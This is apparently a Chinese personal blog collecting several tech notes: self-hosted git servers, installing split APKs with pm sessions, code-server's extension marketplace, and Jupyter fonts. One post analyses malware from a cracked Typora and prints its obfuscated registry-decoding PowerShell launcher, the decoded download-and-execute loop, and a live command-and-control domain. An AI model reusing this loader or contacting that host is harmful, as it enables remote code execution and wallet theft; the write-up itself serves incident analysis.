分类 杂项 下的文章

鉴于某些众所周知的原因,GitHub传输速度太拉,gitee又半死不活的,于是决定给自己搭个本地git仓库用,一方面解决了公私有代码的问题 反正都是私有了,另一方面上传下载快的1p,还可以选择自己喜欢的管理风格。然后简单整理了一下现有的开源git服务器。只能说这玩意一团散沙,不靠友商对比都不知道有哪些,在这里简单列一下。

  1. ruby系:GitLab。这个没什么好说的,说到私有git服务器第一反应必然是这个,似乎也是目前已知的开源git服务器中体量最大的,功能齐全,界面美观。问题在于自己编linux包麻烦,我omnibus-gitlab整了几天都没编出来= =

  2. golang系:Gogsgiteaforgejo。这仨一脉相传,我是先用的forgejo,然后又回头试用了下gogs,发现两者的html模板几乎都长得一模一样,后知后觉地搜了下才发现的。简单概括来说,就是先有的gogs,然后一群贡献者嫌gogs更新慢、不加新功能,然后fork出了gitea;然后gitea搞了几年之后开公司了,codeberg担心gitea搞收费,就又从gitea代码fork出了一个forgejo自己开发(贵圈真乱.jpg)。但是不得不提的是,gogs的确老了,甚至不支持统计展示当前仓库各个语言的代码量。。

  3. Java系:gitbucketGitBlitOneDev。这三家都是个搞个的,其中OneDev比较新,界面做的也比较现代化。

最近发现手机里的b站即使在完全关闭的情况下,还是会发推送消息,于是一气之下删了换上国际版。然而国际版的应用大多早就换上了咕果的新技术,下下来是一堆apk,单装一个还没法使用。虽然部分国外安装器提供了安装xapk的功能(如apkpure),然而实质上做的也只是调用系统api来处理这些apk文件,而且在小米手机上还要关闭miui优化才装的上。。

于是到网上找了个教程,发现结果最后还是用的pm,和传统安装的区别在于,咕果把split apk的安装流程做成了事务形式,创建transaction之后,把要安装的多个apk文件以二进制流的形式读入,然后再在submit transaction之后,通过内部处理完成apk的最终安装。还有些其他教程说用可以用adb install-multiple,然而我的adb似乎没有这个选项,只好作罢了。

以b站国际版为例,从网上下载的xapk包展开后有以下类似内容:

$ ls -al
total 147503
drwxrwx--x 2 root sdcard_rw     3488 1970-01-01 08:00 .
drwxrwx--x 8 root sdcard_rw    20480 1970-01-01 08:00 ..
-rw-rw---- 1 root sdcard_rw       59 1970-01-01 08:00 APKComboInstaller.url
-rw-rw---- 1 root sdcard_rw 74755493 1970-01-01 08:00 com.bilibili.app.in.apk
-rw-rw---- 1 root sdcard_rw 74301935 1970-01-01 08:00 config.armeabi_v7a.apk
-rw-rw---- 1 root sdcard_rw    70616 1970-01-01 08:00 config.hdpi.apk
-rw-rw---- 1 root sdcard_rw    66460 1970-01-01 08:00 config.ldpi.apk
-rw-rw---- 1 root sdcard_rw    66460 1970-01-01 08:00 config.mdpi.apk
-rw-rw---- 1 root sdcard_rw    99803 1970-01-01 08:00 config.tvdpi.apk
-rw-rw---- 1 root sdcard_rw    70616 1970-01-01 08:00 config.xhdpi.apk
-rw-rw---- 1 root sdcard_rw    70616 1970-01-01 08:00 config.xxhdpi.apk
-rw-rw---- 1 root sdcard_rw    70616 1970-01-01 08:00 config.xxxhdpi.apk
-rw-rw---- 1 root sdcard_rw  1255351 1970-01-01 08:00 config.zh.apk
-rw-rw---- 1 root sdcard_rw     6602 1970-01-01 08:00 icon.png
-rw-rw---- 1 root sdcard_rw     3331 1970-01-01 08:00 manifest.json

出于严格的安全措施考虑,放在/sdcard目录下的文件存在权限问题,pm读取不到,因而根据报错信息的建议,把文件复制到权限更为宽松的/data/local/tmp,然后就可以正常进行软件包的读取操作了。

安装步骤大致可以分为三步:

  1. 创建安装事务

    pm install-create

    如果成功执行,命令应该给出类似的返回信息:

    Success: created install session [631152719]

    其中方括号里的是创建成功的事务编号,后面还要用到,需要记下来。

  2. 添加安装包 安装split apk的关键就在这里,我们将分散的多个apk通过pm install-write命令添加到安装数据流中。该命令需要提供当前apk文件名、文件大小、事务编号和分包编号作为参数,一般将主程序包作为第一个添加:

    pm install-write -S 74755493 631152719 0 com.bilibili.app.in.apk

    一般来讲,还需要添加库包、资源包、语言包,这些根据自己的需求添加即可。这里选择armeabixxhdpi(1080P)、zh-CN成安装:

    pm install-write -S 74301935 631152719 1 config.armeabi_v7a.apk
    pm install-write -S 70616 631152719 2 config.xxhdpi.apk
    pm install-write -S 1255351 631152719 3 config.zh.apk

    这些包的顺序似乎没有多大影响,我按照这个顺序安装出来是成功的。

  3. 提交安装事务
    pm install-commit 631152719

    完成commit之后,pm开始安装所导入的应用包,并会在命令行中给出Success或者Failed信息。

然而在尝试过程中发现,似乎还是得关闭MIUI优化,不然会报出INSTALL_FAILED_USER_RESTRICTED错误,估计是MIUI阻止了安装= =

参考:https://raccoon.onyxbits.de/blog/install-split-apk-adb/

现象是找不到部分常见的插件,比如微软家的C/C++和Python插件等。

参考https://stackoverflow.com/a/37238623。原因是根据vscode协议,只允许插件在vscode内自由使用;而根据vscode开源代码独自构建的编辑器理论上已经不算vscode了,所以再用官方源的话就有吃官司的危险,因而大部分基于vscode的开源项目都采用第三方插件源代替微软的官方插件源,如openvsx等。

具体步骤:把下面这段配置贴到code-server的product.json文件中,作为最顶层元素添加即可(通常位于/usr/lib/code-server/lib/vscode/product.json):

  "extensionsGallery": {
      "serviceUrl": "https://marketplace.visualstudio.com/_apis/public/gallery",
      "cacheUrl": "https://vscode.blob.core.windows.net/gallery/index",
      "itemUrl": "https://marketplace.visualstudio.com/items"
  }

完成添加后,重启code-server服务,再去插件区就能搜索到官方源的插件了。


2023.4更新

VSCode IntelliSense是个什么垃圾东西,食我vscode-clangd

没想到互联网老司机也有翻车的一天= =

前几天贪小便宜,发现typora的beta版本过期了,于是去一个平常十分信任的网站找了份破解版,然后就翻车了T T

起因是今天在编译东西的时候,管理观察任务管理器的时候发现多出一个powershell进程。因为平常不怎么用powershell,所以看到这进程还是十分敏感的,就右键看了一下等待链。结果不看不知道,一看吓一跳,分析结果说进程正在等待网络IO。当场就觉得不对劲了,用powershell执行本地程序还情有可原,这年头还会有哪家公司用powershell来做网络通信,大概率就是个人开发者了。

为了摸清楚这个powershell进程到底在干嘛,最为直观的信息就是它的调用链了。作为脚本语言,最大的好处就是其源代码往往具有一定可读性,对于伪装级别不高的脚本来说,摸到脚本本身大概就能知道它在干嘛了。

然而,切出任务管理器一看,命令行长这样:

PoWerShELl -wINDOWstYle hidDEN

一股浓浓的黑客风味扑面而来——虽然cmd和powershell允许大小写混用,但一般人为了可读性,哪会整得这样花里胡哨的?

伪装的还算好,脚本和参数可能通过管道传送,没有出现在命令行里,但这编程风格还是露出了鸡脚。怎么哪里都有小黑子(逃

接下来要做的就是顺藤摸瓜,找到究竟是谁调用的这个脚本,再把背后的真实脚本挖出来。这里用wmic命令来寻找应用的调用关系(https://stackoverflow.com/questions/7486717/finding-parent-process-id-on-windows):

wmic process where (processid=PROCID_HERE) get parentprocessid

凭着pid一路顺藤摸瓜,找到了svchost.exe,右键转到服务一看,发现是计划任务。

然后来到控制面板中的计划任务,选到左边导航栏最顶部的元素任务计划程序(本地),再从菜单栏里的操作选择显示所有正在运行的任务。不消多看,为数不多的运行中任务里,只有一个任务名是奇奇怪怪的字符串,对应的命令是一个光秃秃的cmd.exe

扒出来一看,完整的命令行长这样:

cmd.exe /C eCHo IeX "Icm ([SCRiPtbLoCk]::cREatE([sTriNg]::jOin('', ((geT-iTeMprOPeRTY -paTh 'HKlM:\SoftwaRe\KITwaREU5OEj').'u5oejUf' | % { [ChaR](`$_ -bXOr 236) }))))" | PoWerShELl -wINDOWstYle hidDEN

只能说味儿更浓了。

然后简单解释一下这串命令干了啥:从注册表取HKlM:\SoftwaRe\KITwaREU5OEj\u5oejUf项的值,逐字节与数236做异或操作(简单的字符串解码),然后做一个没什么鸟用的空字符串拼接,再包裹为一个可执行脚本块,然后使用icmInvoke-Command)、iexInvoke-Expression)命令让powershell执行这个代码段。最后为了隐藏这段代码,使用cmd的echo功能转化到管道输出,再通过管道拼接直接将脚本输入到新创建的powershell进程中;powershell进程再通过-WindowStyle hidden参数设置为无窗口后台运行。通过这个方式,完整地掩盖了要运行的真是脚本——我们到现在还不知道黑客打算执行什么。

在前面顺着pid找调用进程的时候,找到cmd.exe的时候是能看到这串命令的。因为恰好正在用cmake编译,当时还楞了一下,cmake原来还会调用powershell脚本的么= =

接下来就是解密真实脚本的过程了,大致工作就是从上面的cmd命令中,把到执行powershell脚本之前的一段截取出来,让他输出到命令行即可,在此就不展开讲了。(其中很怪的一点是,echo命令里用了`字符来保护$字符,但我印象中cmd的保护字符是^来着?)

结果在这里贴一下吧:

while ($true) {
  try {
        foreach ($c in (@("com", "xyz"))) {
            foreach ($a in (@("wmail", "fairu", "bideo", "privatproxy", "ahoravideo"))) {
                foreach ($b in (@("endpoint", "blog", "chat", "cdn", "schnellvpn"))) {
                    try {
                        $h = "$(-join ((97..122) | Get-Random -Count (Get-Random -Minimum 5 -Maximum 10) | % {[char]$_})).com";
                        $r = Invoke-RestMethod -Uri "http://$a-$b.$c/v2/B723B9C0-2A79-4F4D-9F9D-4DED94453BFB?v=newcounter2" -TimeoutSec 30 -Headers @{ Host = $h }
                        if ($r -ne '') {
                            sTaRt-jOb ([sCriptBlock]::Create($r)) | Wait-Job -Timeout 7200
                            break;
                        }
                    }
                    catch {
                    }
                }
            }
        }
    }
    catch {
    }
    Start-Sleep -Seconds 5;
}

这脚本写的还挺鸡贼,powershell解码出来一行只有一个字符,光是整理成可读格式都花了我不小功夫。

在脚本里面,黑客又做了一个2x10x10=200个网站的排列组合,每5秒钟访问一个,其中藏了一个真实的网站,访问后可以得到一段脚本,作者让他等脚本执行2小时,然后重新开始这个循环。

下下来看了一下,tnnd,这鸟人在系统里搜索区块链钱包,然后上传个人信息给服务器,怕是偷钱去了。还好不玩区块链。

对了,域名是bideo-cdn.xyz,有兴趣的可以自己下来看看。

Jupyter Notebook是Jupyter Lab的上一代产品,虽然奠定了Jupyter系列的基本用法与功能,不过可扩展性还是差了点,不像Jupyter Lab一样,直接提供了基于json的用户可定义配置文件。

Jupyter Notebook的默认代码字体竟然是宋体,看得我人惊呆了。jupyterthemes包能够修改Jupyter Notebook的字体,但是和主题绑定在一起了,显得不太清真。于是打算手动修改内置CSS样式。找到notebook的pip包的static/style/style.min.css,修改其中.CodeMirror样式,添加类似于font-family: Consolas;的字体声明,重启Jupyter Notebook服务生效。